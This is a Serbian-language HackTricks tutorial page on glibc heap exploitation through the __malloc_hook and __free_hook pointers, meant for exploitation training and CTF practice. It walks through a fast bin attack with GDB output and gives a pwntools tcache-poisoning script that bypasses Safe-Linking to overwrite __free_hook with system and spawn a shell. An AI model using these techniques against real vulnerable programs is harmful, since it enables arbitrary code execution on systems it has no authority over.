WWW2Exec - __malloc_hook & __free_hook
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Malloc Hook
Kao što možete videti na Official GNU site, promenljiva __malloc_hook
je pokazivač koji pokazuje na adresu funkcije koja će biti pozvana svaki put kada se pozove malloc()
, smeštena u sekciji podataka libc biblioteke. Stoga, ako se ova adresa prepiše sa One Gadget, na primer, i pozove se malloc
, One Gadget će biti pozvan.
Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivom printf("%10000$c")**, što alocira previše bajtova, čime
libc` poziva malloc da ih alocira na heap-u.
Više informacija o One Gadget-u u:
warning
Imajte na umu da su hook-ovi onemogućeni za GLIBC >= 2.34. Postoje druge tehnike koje se mogu koristiti na modernim verzijama GLIBC. Vidi: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Ovo je zloupotrebljeno u jednom od primera sa stranice koja zloupotrebljava napad na brzi bin nakon što je zloupotrebljen napad na neusortirani bin:
Moguće je pronaći adresu __free_hook
ako binarni fajl ima simbole sa sledećom komandom:
gef➤ p &__free_hook
U postu možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao rezime, u funkciji free:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
Na pomenutom mestu prekida u prethodnom kodu u $eax
će se nalaziti adresa slobodnog hook-a.
Sada se vrši fast bin napad:
- Prvo je otkriveno da je moguće raditi sa brzim chunk-ovima veličine 200 na lokaciji
__free_hook
: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena
- Za to, kreira se novi chunk veličine
0xfc
i spojena funkcija se poziva sa tim pokazivačem dva puta, na taj način dobijamo pokazivač na oslobođeni chunk veličine0xfc*2 = 0x1f8
u brzom binu. - Zatim se poziva funkcija za izmenu u ovom chunk-u da modifikuje adresu
fd
ovog brzog bina da pokazuje na prethodnu funkciju__free_hook
. - Zatim se kreira chunk veličine
0x1f8
da se iz brzog bina povuče prethodni beskorisni chunk, tako da se kreira još jedan chunk veličine0x1f8
da se dobije brzi bin chunk u__free_hook
koji se prepisuje adresom funkcijesystem
. - I konačno, chunk koji sadrži string
/bin/sh\x00
se oslobađa pozivom funkcije za brisanje, aktivirajući funkciju__free_hook
koja pokazuje na sistem sa/bin/sh\x00
kao parametrom.
Tcache trovanje & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 je uveo Safe-Linking – proveru integriteta koja štiti jednostruko povezane liste korišćene od strane tcache i brzih binova. Umesto da čuva sirovi napredni pokazivač (fd
), ptmalloc sada čuva obfuskovan sa sledećom makro:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Posledice za eksploataciju:
- heap leak je obavezan – napadač mora znati runtime vrednost
chunk_addr >> 12
da bi napravio validan obfuskovani pokazivač. - Samo puni 8-bajtni pokazivač može biti falsifikovan; delimična prepisivanja jednog bajta neće proći proveru.
Minimalna tcache-poisoning primitiva koja prepisuje __free_hook
na glibc 2.32/2.33 izgleda ovako:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
The snippet above was adapted from recent CTF challenges such as UIUCTF 2024 – «Rusty Pointers» and openECSC 2023 – «Babyheap G», both of which relied on Safe-Linking bypasses to overwrite __free_hook
.
Šta se promenilo u glibc ≥ 2.34?
Počevši od glibc 2.34 (avgust 2021), alokacione hook-ove __malloc_hook
, __realloc_hook
, __memalign_hook
i __free_hook
su uklonjeni iz javnog API-ja i više ih ne poziva alokator. Simboli za kompatibilnost su i dalje dostupni za nasleđene binarne datoteke, ali njihovo prepisivanje više ne utiče na kontrolni tok malloc()
ili free()
.
Praktična implikacija: na modernim distribucijama (Ubuntu 22.04+, Fedora 35+, Debian 12, itd.) morate preći na druge hijack primitivne (IO-FILE, __run_exit_handlers
, vtable spraying, itd.) jer će prepisivanje hook-ova tiho propasti.
Ako vam je još uvek potrebno staro ponašanje za debagovanje, glibc isporučuje libc_malloc_debug.so
koji se može prethodno učitati da ponovo omogući nasleđene hook-ove – ali biblioteka nije namenjena za produkciju i može nestati u budućim izdanjima.
Reference
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Eliminisanje 20 godina starog malloc() exploit primitva (Check Point Research, 2020)
- glibc 2.34 beleške o izdanju – uklanjanje malloc hook-ova
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.